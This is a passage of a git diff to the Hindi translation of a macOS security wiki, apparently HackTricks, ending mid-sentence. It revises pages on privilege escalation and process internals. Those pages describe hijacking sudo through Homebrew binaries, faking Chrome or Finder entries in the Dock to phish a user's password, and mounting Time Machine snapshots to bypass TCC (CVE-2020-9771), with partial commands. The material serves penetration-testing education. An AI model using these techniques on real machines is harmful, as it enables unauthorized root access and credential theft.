+6,15 @@ यदि आप TCC विशेषाधिकार वृद्धि के लिए यहाँ आए हैं तो जाएँ: + {{#ref}} macos-security-protections/macos-tcc/ {{#endref}} ## Linux Privesc -कृपया ध्यान दें कि **विशेषाधिकार वृद्धि के बारे में अधिकांश तरकीबें जो Linux/Unix को प्रभावित करती हैं, वे MacOS** मशीनों को भी प्रभावित करेंगी। तो देखें: +कृपया ध्यान दें कि **विशेषाधिकार वृद्धि के बारे में अधिकांश तरकीबें जो Linux/Unix को प्रभावित करती हैं, वे MacOS मशीनों को भी प्रभावित करेंगी**। इसलिए देखें: + {{#ref}} ../../linux-hardening/privilege-escalation/ @@ -39,7 +41,7 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` -ध्यान दें कि एक उपयोगकर्ता जो टर्मिनल का उपयोग करता है, उसके पास **Homebrew स्थापित** होने की संभावना है। इसलिए **`/opt/homebrew/bin`** में बाइनरीज़ को हाईजैक करना संभव है। +ध्यान दें कि एक उपयोगकर्ता जो टर्मिनल का उपयोग करता है, उसके पास **Homebrew स्थापित** होने की उच्च संभावना है। इसलिए **`/opt/homebrew/bin`** में बाइनरीज़ को हाईजैक करना संभव है। ### डॉक अनुकरण @@ -49,7 +51,7 @@ sudo ls {{#tab name="Chrome Impersonation"}} कुछ सुझाव: -- डॉक में जांचें कि क्या वहां एक Chrome है, और इस मामले में उस प्रविष्टि को **हटाएं** और डॉक एरे में **समान स्थिति** में **नकली** **Chrome प्रविष्टि जोड़ें**। +- डॉक में जांचें कि क्या वहां एक Chrome है, और इस मामले में उस प्रविष्टि को **हटाएं** और डॉक एरे में **उसी स्थिति** में **नकली** **Chrome प्रविष्टि जोड़ें**। ```bash #!/bin/sh @@ -124,11 +126,11 @@ killall Dock {{#tab name="Finder Impersonation"}} कुछ सुझाव: -- आप **Finder को Dock से हटा नहीं सकते**, इसलिए यदि आप इसे Dock में जोड़ने जा रहे हैं, तो आप असली Finder के ठीक बगल में नकली Finder रख सकते हैं। इसके लिए आपको **Dock array के शुरुआत में नकली Finder प्रविष्टि जोड़ने की आवश्यकता है**। +- आप **Finder को Dock से हटा नहीं सकते**, इसलिए यदि आप इसे Dock में जोड़ने जा रहे हैं, तो आप असली Finder के ठीक बगल में नकली Finder रख सकते हैं। इसके लिए आपको **Dock array के शुरुआत में नकली Finder प्रविष्टि जोड़नी होगी**। - एक और विकल्प है कि इसे Dock में न रखें और बस इसे खोलें, "Finder को Finder को नियंत्रित करने के लिए पूछना" इतना अजीब नहीं है। -- एक और विकल्प **बिना पासवर्ड पूछे root तक पहुंच बढ़ाने** का है, वह है Finder से वास्तव में पासवर्ड मांगना ताकि एक विशेषाधिकार प्राप्त क्रिया करने के लिए: -- Finder से **`/etc/pam.d`** में एक नया **`sudo`** फ़ाइल कॉपी करने के लिए कहें (पासवर्ड के लिए पूछने वाला प्रॉम्प्ट यह संकेत देगा कि "Finder sudo को कॉपी करना चाहता है") -- Finder से एक नया **Authorization Plugin** कॉपी करने के लिए कहें (आप फ़ाइल का नाम नियंत्रित कर सकते हैं ताकि पासवर्ड के लिए पूछने वाला प्रॉम्प्ट यह संकेत दे कि "Finder Finder.bundle को कॉपी करना चाहता है") +- एक और विकल्प **बिना पासवर्ड पूछे root तक पहुंच बढ़ाने** का है, वास्तव में Finder से पासवर्ड मांगना ताकि एक विशेषाधिकार प्राप्त क्रिया करने के लिए: +- Finder से **`/etc/pam.d`** में एक नया **`sudo`** फ़ाइल कॉपी करने के लिए कहें (पासवर्ड मांगने वाला प्रॉम्प्ट यह संकेत देगा कि "Finder sudo को कॉपी करना चाहता है") +- Finder से एक नया **Authorization Plugin** कॉपी करने के लिए कहें (आप फ़ाइल का नाम नियंत्रित कर सकते हैं ताकि पासवर्ड मांगने वाला प्रॉम्प्ट यह संकेत दे कि "Finder Finder.bundle को कॉपी करना चाहता है") ```bash #!/bin/sh @@ -206,7 +208,7 @@ killall Dock ### CVE-2020-9771 - mount_apfs TCC बाईपास और विशेषाधिकार वृद्धि **कोई भी उपयोगकर्ता** (यहां तक कि बिना विशेषाधिकार वाले) एक टाइम मशीन स्नैपशॉट बना और माउंट कर सकता है और उस स्नैपशॉट के **सभी फ़ाइलों** तक पहुंच सकता है।\ -आवश्यक **केवल विशेषाधिकार** यह है कि उपयोग किए जाने वाले एप्लिकेशन (जैसे `Terminal`) को **पूर्ण डिस्क एक्सेस** (FDA) एक्सेस (`kTCCServiceSystemPolicyAllfiles`) होना चाहिए, जिसे एक व्यवस्थापक द्वारा प्रदान किया जाना चाहिए। +आवश्यक **केवल विशेषाधिकार** यह है कि उपयोग किए जाने वाले एप्लिकेशन (जैसे `Terminal`) को **पूर्ण डिस्क एक्सेस** (FDA) एक्सेस (`kTCCServiceSystemPolicyAllfiles`) प्राप्त हो, जिसे एक व्यवस्थापक द्वारा प्रदान किया जाना चाहिए। ```bash # Create snapshot tmutil localsnapshot @@ -226,12 +228,13 @@ mkdir /tmp/snap # Access it ls /tmp/snap/Users/admin_user # This will work ``` -एक अधिक विस्तृत व्याख्या [**मूल रिपोर्ट में**](https://theevilbit.github.io/posts/cve_2020_9771/) **मिल सकती है।** +एक अधिक विस्तृत व्याख्या [**मूल रिपोर्ट में पाई जा सकती है**](https://theevilbit.github.io/posts/cve_2020_9771/)**।** ## संवेदनशील जानकारी यह विशेषाधिकार बढ़ाने के लिए उपयोगी हो सकता है: + {{#ref}} macos-files-folders-and-binaries/macos-sensitive-locations.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md index 340e5ca80..b2579eb82 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md @@ -6,7 +6,7 @@ एक प्रक्रिया एक चल रहे निष्पादन का उदाहरण है, हालाँकि प्रक्रियाएँ कोड नहीं चलाती हैं, ये थ्रेड हैं। इसलिए **प्रक्रियाएँ केवल चल रहे थ्रेड्स के लिए कंटेनर हैं** जो मेमोरी, डिस्क्रिप्टर्स, पोर्ट्स, अनुमतियाँ प्रदान करती हैं... -परंपरागत रूप से, प्रक्रियाएँ अन्य प्रक्रियाओं के भीतर शुरू की जाती थीं (PID 1 को छोड़कर) **`fork`** को कॉल करके, जो वर्तमान प्रक्रिया की एक सटीक प्रति बनाएगा और फिर **बच्ची प्रक्रिया** सामान्यतः **`execve`** को कॉल करेगी ताकि नए निष्पादन को लोड किया जा सके और इसे चलाया जा सके। फिर, **`vfork`** को पेश किया गया ताकि इस प्रक्रिया को बिना किसी मेमोरी कॉपी के तेज़ बनाया जा सके।\ +परंपरागत रूप से, प्रक्रियाएँ अन्य प्रक्रियाओं (PID 1 को छोड़कर) के भीतर **`fork`** को कॉल करके शुरू की जाती थीं, जो वर्तमान प्रक्रिया की एक सटीक प्रति बनाएगी और फिर **बच्ची प्रक्रिया** सामान्यतः **`execve`** को कॉल करेगी ताकि नए निष्पादन को लोड किया जा सके और इसे चलाया जा सके। फिर, **`vfork`** को इस प्रक्रिया को बिना किसी मेमोरी कॉपी के तेज़ बनाने के लिए पेश किया गया।\ फिर **`posix_spawn`** को पेश किया गया जो **`vfork`** और **`execve`** को एक कॉल में संयोजित करता है और फ्लैग स्वीकार करता है: - `POSIX_SPAWN_RESETIDS`: प्रभावी आईडी को वास्तविक आईडी पर रीसेट करें @@ -23,7 +23,7 @@ इसके अलावा, `posix_spawn` एक **`posix_spawnattr`** के एक ऐरे को निर्दिष्ट करने की अनुमति देता है जो उत्पन्न प्रक्रिया के कुछ पहलुओं को नियंत्रित करता है, और **`posix_spawn_file_actions`** को डिस्क्रिप्टर्स की स्थिति को संशोधित करने के लिए। -जब एक प्रक्रिया मरती है, तो यह **माता-पिता प्रक्रिया को लौटने का कोड भेजती है** (यदि माता-पिता मर गया, तो नया माता-पिता PID 1 है) सिग्नल `SIGCHLD` के साथ। माता-पिता को इस मान को प्राप्त करने के लिए `wait4()` या `waitid()` कॉल करना होगा और जब तक ऐसा नहीं होता, बच्चा एक ज़ोंबी स्थिति में रहता है जहाँ यह अभी भी सूचीबद्ध है लेकिन संसाधनों का उपभोग नहीं करता है। +जब एक प्रक्रिया मरती है, तो यह **माता प्रक्रिया को लौटने का कोड भेजती है** (यदि माता मर गई, तो नया माता PID 1 है) सिग्नल `SIGCHLD` के साथ। माता को इस मान को प्राप्त करने के लिए `wait4()` या `waitid()` कॉल करना होगा और जब तक ऐसा नहीं होता, बच्चा एक ज़ोंबी स्थिति में रहता है जहाँ यह अभी भी सूचीबद्ध है लेकिन संसाधनों का उपभोग नहीं करता है। ### PIDs @@ -31,14 +31,14 @@ PIDs, प्रक्रिया पहचानकर्ता, एक अद ### Process Groups, Sessions & Coalations -**प्रक्रियाएँ** को **समूहों** में डाला जा सकता है ताकि उन्हें संभालना आसान हो सके। उदाहरण के लिए, एक शेल स्क्रिप्ट में कमांड एक ही प्रक्रिया समूह में होंगे ताकि उन्हें एक साथ **सिग्नल किया जा सके** जैसे कि किल का उपयोग करके।\ -यह भी संभव है कि **प्रक्रियाओं को सत्रों में समूहित किया जाए**। जब एक प्रक्रिया एक सत्र शुरू करती है (`setsid(2)`), तो बच्चों की प्रक्रियाएँ सत्र के भीतर सेट की जाती हैं, जब तक कि वे अपना स्वयं का सत्र शुरू न करें। +**प्रक्रियाएँ** को **समूहों** में डाला जा सकता है ताकि उन्हें संभालना आसान हो सके। उदाहरण के लिए, एक शेल स्क्रिप्ट में कमांड एक ही प्रक्रिया समूह में होंगे ताकि उन्हें एक साथ **सिग्नल किया जा सके** जैसे कि kill का उपयोग करके।\ +यह भी संभव है कि **प्रक्रियाओं को सत्रों में समूहित किया जाए**। जब एक प्रक्रिया एक सत्र शुरू करती है (`setsid(2)`), तो बच्चों की प्रक्रियाएँ सत्र के भीतर सेट की जाती हैं, जब तक कि वे अपना खुद का सत्र शुरू न करें। -Coalition एक और तरीका है प्रक्रियाओं को डार्विन में समूहित करने का। एक प्रक्रिया एक कोलैशन में शामिल होने से उसे पूल संसाधनों तक पहुँचने की अनुमति मिलती है, एक लेजर साझा करना या Jetsam का सामना करना। कोलैशनों के विभिन्न भूमिकाएँ होती हैं: नेता, XPC सेवा, एक्सटेंशन। +Coalition एक और तरीका है प्रक्रियाओं को Darwin में समूहित करने का। एक प्रक्रिया एक कोलैशन में शामिल होने से उसे पूल संसाधनों तक पहुँचने की अनुमति मिलती है, एक लेजर साझा करने या Jetsam का सामना करने की। कोलैशनों के विभिन्न भूमिकाएँ होती हैं: नेता, XPC सेवा, एक्सटेंशन। ### Credentials & Personae -प्रत्येक प्रक्रिया **प्रमाणपत्र** रखती है जो **इसके विशेषाधिकारों की पहचान करती है** प्रणाली में। प्रत्येक प्रक्रिया का एक प्राथमिक `uid` और एक प्राथमिक `gid` होगा (हालाँकि यह कई समूहों से संबंधित हो सकता है)।\ +प्रत्येक प्रक्रिया **प्रमाणपत्र** रखती है जो **इसके विशेषाधिकारों की पहचान करती है** प्रणाली में। प्रत्येक प्रक्रिया का एक प्राथमिक `uid` और एक प्राथमिक `gid` होगा (हालांकि यह कई समूहों से संबंधित हो सकता है)।\ यदि बाइनरी में `setuid/setgid` बिट है तो उपयोगकर्ता और समूह आईडी को बदलना भी संभव है।\ नए uids/gids सेट करने के लिए कई फ़ंक्शन हैं। @@ -56,43 +56,43 @@ char persona_name[MAXLOGNAME + 1]; /* TODO: MAC policies?! */ } ``` -## थ्रेड्स बुनियादी जानकारी +## Threads Basic Information -1. **POSIX थ्रेड्स (pthreads):** macOS POSIX थ्रेड्स (`pthreads`) का समर्थन करता है, जो C/C++ के लिए एक मानक थ्रेडिंग API का हिस्सा हैं। macOS में pthreads का कार्यान्वयन `/usr/lib/system/libsystem_pthread.dylib` में पाया जाता है, जो सार्वजनिक रूप से उपलब्ध `libpthread` प्रोजेक्ट से आता है। यह पुस्तकालय थ्रेड बनाने और प्रबंधित करने के लिए आवश्यक कार्य प्रदान करता है। -2. **थ्रेड बनाना:** `pthread_create()` फ़ंक्शन का उपयोग नए थ्रेड बनाने के लिए किया जाता है। आंतरिक रूप से, यह फ़ंक्शन `bsdthread_create()` को कॉल करता है, जो XNU कर्नेल (जिस पर macOS आधारित है) के लिए विशिष्ट एक निम्न-स्तरीय सिस्टम कॉल है। यह सिस्टम कॉल विभिन्न फ्लैग लेता है जो `pthread_attr` (गुण) से निकाले जाते हैं, जो थ्रेड के व्यवहार को निर्दिष्ट करते हैं, जिसमें शेड्यूलिंग नीतियाँ और स्टैक आकार शामिल हैं। -- **डिफ़ॉल्ट स्टैक आकार:** नए थ्रेड के लिए डिफ़ॉल्ट स्टैक आकार 512 KB है, जो सामान्य संचालन के लिए पर्याप्त है लेकिन यदि अधिक या कम स्थान की आवश्यकता हो तो थ्रेड गुणों के माध्यम से समायोजित किया जा सकता है। -3. **थ्रेड प्रारंभिककरण:** `__pthread_init()` फ़ंक्शन थ्रेड सेटअप के दौरान महत्वपूर्ण है, जो `env[]` तर्क का उपयोग करके पर्यावरण चर को पार्स करता है, जिसमें स्टैक के स्थान और आकार के बारे में विवरण शामिल हो सकते हैं। +1. **POSIX Threads (pthreads):** macOS POSIX थ्रेड्स (`pthreads`) का समर्थन करता है, जो C/C++ के लिए एक मानक थ्रेडिंग API का हिस्सा हैं। macOS में pthreads का कार्यान्वयन `/usr/lib/system/libsystem_pthread.dylib` में पाया जाता है, जो सार्वजनिक रूप से उपलब्ध `libpthread` प्रोजेक्ट से आता है। यह पुस्तकालय थ्रेड बनाने और प्रबंधित करने के लिए आवश्यक कार्य प्रदान करता है। +2. **Creating Threads:** `pthread_create()` फ़ंक्शन का उपयोग नए थ्रेड बनाने के लिए किया जाता है। आंतरिक रूप से, यह फ़ंक्शन `bsdthread_create()` को कॉल करता है, जो XNU कर्नेल (जिस पर macOS आधारित है) के लिए विशिष्ट एक निम्न-स्तरीय सिस्टम कॉल है। यह सिस्टम कॉल विभिन्न फ्लैग लेता है जो `pthread_attr` (गुण) से निकाले जाते हैं, जो थ्रेड के व्यवहार को निर्दिष्ट करते हैं, जिसमें शेड्यूलिंग नीतियाँ और स्टैक आकार शामिल हैं। +- **Default Stack Size:** नए थ्रेड के लिए डिफ़ॉल्ट स्टैक आकार 512 KB है, जो सामान्य संचालन के लिए पर्याप्त है लेकिन यदि अधिक या कम स्थान की आवश्यकता हो तो थ्रेड गुणों के माध्यम से समायोजित किया जा सकता है। +3. **Thread Initialization:** थ्रेड सेटअप के दौरान `__pthread_init()` फ़ंक्शन महत्वपूर्ण है, जो `env[]` तर्क का उपयोग करके पर्यावरण चर को पार्स करता है, जिसमें स्टैक के स्थान और आकार के बारे में विवरण शामिल हो सकते हैं। -#### macOS में थ्रेड समाप्ति +#### Thread Termination in macOS -1. **थ्रेड्स से बाहर निकलना:** थ्रेड्स को आमतौर पर `pthread_exit()` को कॉल करके समाप्त किया जाता है। यह फ़ंक्शन एक थ्रेड को साफ-सुथरे तरीके से बाहर निकलने की अनुमति देता है, आवश्यक सफाई करते हुए और थ्रेड को किसी भी जॉइनर्स को एक रिटर्न वैल्यू भेजने की अनुमति देता है। -2. **थ्रेड सफाई:** `pthread_exit()` को कॉल करने पर, फ़ंक्शन `pthread_terminate()` को सक्रिय किया जाता है, जो सभी संबंधित थ्रेड संरचनाओं को हटाने का प्रबंधन करता है। यह Mach थ्रेड पोर्ट को डिअलॉकेट करता है (Mach XNU कर्नेल में संचार उपप्रणाली है) और `bsdthread_terminate` को कॉल करता है, जो एक syscall है जो थ्रेड से संबंधित कर्नेल-स्तरीय संरचनाओं को हटा देता है। +1. **Exiting Threads:** थ्रेड को आमतौर पर `pthread_exit()` कॉल करके समाप्त किया जाता है। यह फ़ंक्शन एक थ्रेड को साफ-सुथरे तरीके से बाहर निकलने की अनुमति देता है, आवश्यक सफाई करते हुए और थ्रेड को किसी भी जॉइनर्स को एक रिटर्न वैल्यू भेजने की अनुमति देता है। +2. **Thread Cleanup:** `pthread_exit()` को कॉल करने पर, `pthread_terminate()` फ़ंक्शन को सक्रिय किया जाता है, जो सभी संबंधित थ्रेड संरचनाओं को हटाने का प्रबंधन करता है। यह Mach थ्रेड पोर्ट को डिअलॉकेट करता है (Mach XNU कर्नेल में संचार उपप्रणाली है) और `bsdthread_terminate` को कॉल करता है, जो एक syscall है जो थ्रेड से संबंधित कर्नेल-स्तरीय संरचनाओं को हटा देता है। -#### समन्वय तंत्र +#### Synchronization Mechanisms -साझा संसाधनों तक पहुँच प्रबंधित करने और दौड़ की स्थितियों से बचने के लिए, macOS कई समन्वय प्राइमिटिव प्रदान करता है। ये मल्टी-थ्रेडिंग वातावरण में डेटा अखंडता और सिस्टम स्थिरता सुनिश्चित करने के लिए महत्वपूर्ण हैं: +साझा संसाधनों तक पहुँच प्रबंधित करने और रेस कंडीशंस से बचने के लिए, macOS कई समन्वय प्राइमिटिव प्रदान करता है। ये मल्टी-थ्रेडिंग वातावरण में डेटा की अखंडता और सिस्टम की स्थिरता सुनिश्चित करने के लिए महत्वपूर्ण हैं: -1. **म्यूटेक्स:** -- **नियमित म्यूटेक्स (सिग्नेचर: 0x4D555458):** मानक म्यूटेक्स जिसका मेमोरी फ़ुटप्रिंट 60 बाइट है (56 बाइट म्यूटेक्स के लिए और 4 बाइट सिग्नेचर के लिए)। -- **फास्ट म्यूटेक्स (सिग्नेचर: 0x4d55545A):** नियमित म्यूटेक्स के समान लेकिन तेज़ संचालन के लिए अनुकूलित, आकार में भी 60 बाइट। -2. **कंडीशन वेरिएबल्स:** -- कुछ स्थितियों के होने की प्रतीक्षा के लिए उपयोग किया जाता है, जिसका आकार 44 बाइट है (40 बाइट प्लस 4-बाइट सिग्नेचर)। -- **कंडीशन वेरिएबल गुण (सिग्नेचर: 0x434e4441):** कंडीशन वेरिएबल्स के लिए कॉन्फ़िगरेशन गुण, आकार में 12 बाइट। -3. **एक बार वेरिएबल (सिग्नेचर: 0x4f4e4345):** -- सुनिश्चित करता है कि एक टुकड़ा प्रारंभिककरण को केवल एक बार निष्पादित किया जाए। इसका आकार 12 बाइट है। -4. **रीड-राइट लॉक:** +1. **Mutexes:** +- **Regular Mutex (Signature: 0x4D555458):** मानक म्यूटेक्स जिसका मेमोरी फ़ुटप्रिंट 60 बाइट्स है (56 बाइट्स म्यूटेक्स के लिए और 4 बाइट्स सिग्नेचर के लिए)। +- **Fast Mutex (Signature: 0x4d55545A):** एक नियमित म्यूटेक्स के समान लेकिन तेज़ संचालन के लिए अनुकूलित, आकार में भी 60 बाइट्स। +2. **Condition Variables:** +- कुछ स्थितियों के होने की प्रतीक्षा के लिए उपयोग किया जाता है, जिसका आकार 44 बाइट्स है (40 बाइट्स प्लस 4-बाइट सिग्नेचर)। +- **Condition Variable Attributes (Signature: 0x434e4441):** कंडीशन वेरिएबल के लिए कॉन्फ़िगरेशन गुण, आकार में 12 बाइट्स। +3. **Once Variable (Signature: 0x4f4e4345):** +- सुनिश्चित करता है कि एक टुकड़ा प्रारंभिककरण कोड केवल एक बार निष्पादित किया जाए। इसका आकार 12 बाइट्स है। +4. **Read-Write Locks:** - एक समय में कई पाठकों या एक लेखक की अनुमति देता है, साझा डेटा तक कुशल पहुँच की सुविधा प्रदान करता है। -- **रीड राइट लॉक (सिग्नेचर: 0x52574c4b):** आकार में 196 बाइट। -- **रीड राइट लॉक गुण (सिग्नेचर: 0x52574c41):** रीड-राइट लॉक के लिए गुण, आकार में 20 बाइट। +- **Read Write Lock (Signature: 0x52574c4b):** आकार में 196 बाइट्स। +- **Read Write Lock Attributes (Signature: 0x52574c41):** पढ़ने-लिखने के ताले के लिए गुण, आकार में 20 बाइट्स। > [!TIP] -> उन वस्तुओं के अंतिम 4 बाइट ओवरफ्लो का पता लगाने के लिए उपयोग किए जाते हैं। +> उन वस्तुओं के अंतिम 4 बाइट्स ओवरफ्लो का पता लगाने के लिए उपयोग किए जाते हैं। -### थ्रेड लोकल वेरिएबल्स (TLV) +### Thread Local Variables (TLV) -**थ्रेड लोकल वेरिएबल्स (TLV)** Mach-O फ़ाइलों (macOS में निष्पादन योग्य फ़ाइलों के लिए प्रारूप) के संदर्भ में उपयोग किए जाते हैं ताकि **प्रत्येक थ्रेड** के लिए विशिष्ट वेरिएबल्स घोषित किए जा सकें। यह सुनिश्चित करता है कि प्रत्येक थ्रेड के पास एक अलग वेरिएबल का अपना अलग उदाहरण हो, जिससे संघर्षों से बचने और डेटा अखंडता बनाए रखने का एक तरीका प्रदान होता है बिना म्यूटेक्स जैसे स्पष्ट समन्वय तंत्र की आवश्यकता के। +**Thread Local Variables (TLV)** Mach-O फ़ाइलों (macOS में निष्पादन योग्य फ़ाइलों के लिए प्रारूप) के संदर्भ में उपयोग किए जाते हैं ताकि **प्रत्येक थ्रेड** के लिए विशिष्ट चर घोषित किए जा सकें। यह सुनिश्चित करता है कि प्रत्येक थ्रेड के पास एक चर का अपना अलग उदाहरण हो, जिससे संघर्षों से बचने और डेटा की अखंडता बनाए रखने का एक तरीका मिलता है बिना म्यूटेक्स जैसे स्पष्ट समन्वय तंत्र की आवश्यकता के। -C और संबंधित भाषाओं में, आप **`__thread`** कीवर्ड का उपयोग करके एक थ्रेड-लोकल वेरिएबल घोषित कर सकते हैं। यहाँ आपके उदाहरण में यह कैसे काम करता है: +C और संबंधित भाषाओं में, आप **`__thread`** कीवर्ड का उपयोग करके एक थ्रेड-स्थानीय चर घोषित कर सकते हैं। यहाँ यह आपके उदाहरण में कैसे काम करता है: ```c cCopy code__thread int tlv_var; @@ -100,7 +100,7 @@ void main (int argc, char **argv){ tlv_var = 10; } ``` -यह स्निपेट `tlv_var` को एक थ्रेड-स्थानीय चर के रूप में परिभाषित करता है। इस कोड को चलाने वाला प्रत्येक थ्रेड अपना `tlv_var` रखेगा, और एक थ्रेड द्वारा `tlv_var` में किए गए परिवर्तन दूसरे थ्रेड में `tlv_var` को प्रभावित नहीं करेंगे। +यह स्निपेट `tlv_var` को एक थ्रेड-स्थानीय चर के रूप में परिभाषित करता है। इस कोड को चलाने वाला प्रत्येक थ्रेड अपना खुद का `tlv_var` रखेगा, और एक थ्रेड द्वारा `tlv_var` में किए गए परिवर्तन दूसरे थ्रेड में `tlv_var` को प्रभावित नहीं करेंगे। Mach-O बाइनरी में, थ्रेड स्थानीय चर से संबंधित डेटा को विशिष्ट अनुभागों में व्यवस्थित किया गया है: @@ -111,7 +111,7 @@ Mach-O एक विशिष्ट API भी प्रदान करता ### थ्रेडिंग प्राथमिकताएँ -थ्रेड प्राथमिकताओं को समझने में यह देखना शामिल है कि ऑपरेटिंग सिस्टम यह तय करता है कि कौन से थ्रेड कब चलाए जाएँ। यह निर्णय प्रत्येक थ्रेड को सौंपे गए प्राथमिकता स्तर से प्रभावित होता है। macOS और यूनिक्स-जैसे सिस्टम में, इसे `nice`, `renice`, और गुणवत्ता सेवा (QoS) वर्गों जैसे अवधारणाओं का उपयोग करके संभाला जाता है। +थ्रेड प्राथमिकताओं को समझने में यह देखना शामिल है कि ऑपरेटिंग सिस्टम यह तय करता है कि कौन से थ्रेड चलाए जाएँ और कब। यह निर्णय प्रत्येक थ्रेड को सौंपे गए प्राथमिकता स्तर से प्रभावित होता है। macOS और यूनिक्स-जैसे सिस्टम में, इसे `nice`, `renice`, और गुणवत्ता सेवा (QoS) वर्गों जैसे अवधारणाओं का उपयोग करके संभाला जाता है। #### नाइस और रेनाइस @@ -124,24 +124,24 @@ Mach-O एक विशिष्ट API भी प्रदान करता #### गुणवत्ता सेवा (QoS) वर्ग -QoS वर्ग थ्रेड प्राथमिकताओं को संभालने के लिए एक अधिक आधुनिक दृष्टिकोण है, विशेष रूप से macOS जैसे सिस्टम में जो **ग्रैंड सेंट्रल डिस्पैच (GCD)** का समर्थन करते हैं। QoS वर्ग डेवलपर्स को कार्यों को उनके महत्व या तात्कालिकता के आधार पर विभिन्न स्तरों में **श्रेणीबद्ध** करने की अनुमति देते हैं। macOS इन QoS वर्गों के आधार पर स्वचालित रूप से थ्रेड प्राथमिकता प्रबंधित करता है: +QoS वर्ग थ्रेड प्राथमिकताओं को संभालने के लिए एक अधिक आधुनिक दृष्टिकोण है, विशेष रूप से macOS जैसे सिस्टम में जो **ग्रैंड सेंट्रल डिस्पैच (GCD)** का समर्थन करते हैं। QoS वर्ग डेवलपर्स को कार्यों को उनके महत्व या तात्कालिकता के आधार पर विभिन्न स्तरों में **श्रेणीबद्ध** करने की अनुमति देते हैं। macOS इन QoS वर्गों के आधार पर थ्रेड प्राथमिकता को स्वचालित रूप से प्रबंधित करता है: 1. **उपयोगकर्ता इंटरैक्टिव:** -- यह वर्ग उन कार्यों के लिए है जो वर्तमान में उपयोगकर्ता के साथ इंटरैक्ट कर रहे हैं या अच्छे उपयोगकर्ता अनुभव प्रदान करने के लिए तात्कालिक परिणामों की आवश्यकता होती है। इन कार्यों को इंटरफ़ेस को उत्तरदायी बनाए रखने के लिए उच्चतम प्राथमिकता दी जाती है (जैसे, एनिमेशन या इवेंट हैंडलिंग)। +- यह वर्ग उन कार्यों के लिए है जो वर्तमान में उपयोगकर्ता के साथ इंटरैक्ट कर रहे हैं या अच्छे उपयोगकर्ता अनुभव प्रदान करने के लिए तात्कालिक परिणामों की आवश्यकता होती है। इन कार्यों को उच्चतम प्राथमिकता दी जाती है ताकि इंटरफ़ेस उत्तरदायी बना रहे (जैसे, एनिमेशन या इवेंट हैंडलिंग)। 2. **उपयोगकर्ता द्वारा आरंभित:** - वे कार्य जो उपयोगकर्ता द्वारा आरंभ किए जाते हैं और तात्कालिक परिणामों की अपेक्षा करते हैं, जैसे कि एक दस्तावेज़ खोलना या एक बटन पर क्लिक करना जो गणनाओं की आवश्यकता होती है। ये उच्च प्राथमिकता वाले होते हैं लेकिन उपयोगकर्ता इंटरैक्टिव से नीचे होते हैं। -3. **उपयोगिता:** +3. **यूटिलिटी:** - ये कार्य लंबे समय तक चलने वाले होते हैं और आमतौर पर प्रगति संकेतक दिखाते हैं (जैसे, फ़ाइलें डाउनलोड करना, डेटा आयात करना)। ये उपयोगकर्ता द्वारा आरंभित कार्यों की तुलना में प्राथमिकता में कम होते हैं और इन्हें तुरंत समाप्त करने की आवश्यकता नहीं होती है। 4. **पृष्ठभूमि:** -- यह वर्ग उन कार्यों के लिए है जो पृष्ठभूमि में कार्य करते हैं और उपयोगकर्ता को दिखाई नहीं देते हैं। ये कार्य जैसे अनुक्रमण, समन्वय, या बैकअप हो सकते हैं। इनकी प्राथमिकता सबसे कम होती है और सिस्टम प्रदर्शन पर न्यूनतम प्रभाव पड़ता है। +- यह वर्ग उन कार्यों के लिए है जो पृष्ठभूमि में कार्य करते हैं और उपयोगकर्ता के लिए दृश्य नहीं होते हैं। ये कार्य इंडेक्सिंग, सिंकिंग, या बैकअप जैसे हो सकते हैं। इनकी प्राथमिकता सबसे कम होती है और सिस्टम प्रदर्शन पर न्यूनतम प्रभाव पड़ता है। QoS वर्गों का उपयोग करते हुए, डेवलपर्स को सटीक प्राथमिकता संख्याओं का प्रबंधन करने की आवश्यकता नहीं होती है, बल्कि कार्य की प्रकृति पर ध्यान केंद्रित करना होता है, और सिस्टम CPU संसाधनों को तदनुसार अनुकूलित करता है। -इसके अलावा, विभिन्न **थ्रेड शेड्यूलिंग नीतियाँ** हैं जो शेड्यूलर द्वारा ध्यान में रखे जाने वाले शेड्यूलिंग पैरामीटर के सेट को निर्दिष्ट करती हैं। इसे `thread_policy_[set/get]` का उपयोग करके किया जा सकता है। यह रेस कंडीशन हमलों में उपयोगी हो सकता है। +इसके अलावा, विभिन्न **थ्रेड शेड्यूलिंग नीतियाँ** हैं जो शेड्यूलर द्वारा विचार किए जाने वाले शेड्यूलिंग पैरामीटर के सेट को निर्दिष्ट करती हैं। इसे `thread_policy_[set/get]` का उपयोग करके किया जा सकता है। यह रेस कंडीशन हमलों में उपयोगी हो सकता है। ## MacOS प्रक्रिया दुरुपयोग -MacOS, किसी अन्य ऑपरेटिंग सिस्टम की तरह, **प्रक्रियाओं के बीच बातचीत, संचार, और डेटा साझा करने** के लिए विभिन्न विधियाँ और तंत्र प्रदान करता है। जबकि ये तकनीकें कुशल प्रणाली कार्यप्रणाली के लिए आवश्यक हैं, इन्हें खतरे के तत्वों द्वारा **दुष्ट गतिविधियों** को करने के लिए भी दुरुपयोग किया जा सकता है। +MacOS, किसी अन्य ऑपरेटिंग सिस्टम की तरह, **प्रक्रियाओं के इंटरैक्ट, संचार, और डेटा साझा करने** के लिए विभिन्न विधियों और तंत्रों की पेशकश करता है। जबकि ये तकनीकें कुशल प्रणाली कार्यप्रणाली के लिए आवश्यक हैं, इन्हें खतरे के तत्वों द्वारा **दुष्ट गतिविधियों** को करने के लिए भी दुरुपयोग किया जा सकता है। ### पुस्तकालय इंजेक्शन @@ -153,7 +153,7 @@ macos-library-injection/ ### फ़ंक्शन हुकिंग -फ़ंक्शन हुकिंग में **सॉफ़्टवेयर कोड के भीतर फ़ंक्शन कॉल** या संदेशों को **अवरोधित करना** शामिल है। फ़ंक्शनों को हुक करके, एक हमलावर एक प्रक्रिया के **व्यवहार को संशोधित** कर सकता है, संवेदनशील डेटा का अवलोकन कर सकता है, या यहां तक कि निष्पादन प्रवाह पर नियंत्रण प्राप्त कर सकता है। +फ़ंक्शन हुकिंग में **सॉफ़्टवेयर कोड के भीतर फ़ंक्शन कॉल** या संदेशों को **अवरोधित करना** शामिल है। फ़ंक्शनों को हुक करके, एक हमलावर प्रक्रिया के **व्यवहार को संशोधित** कर सकता है, संवेदनशील डेटा का अवलोकन कर सकता है, या यहां तक कि निष्पादन प्रवाह पर 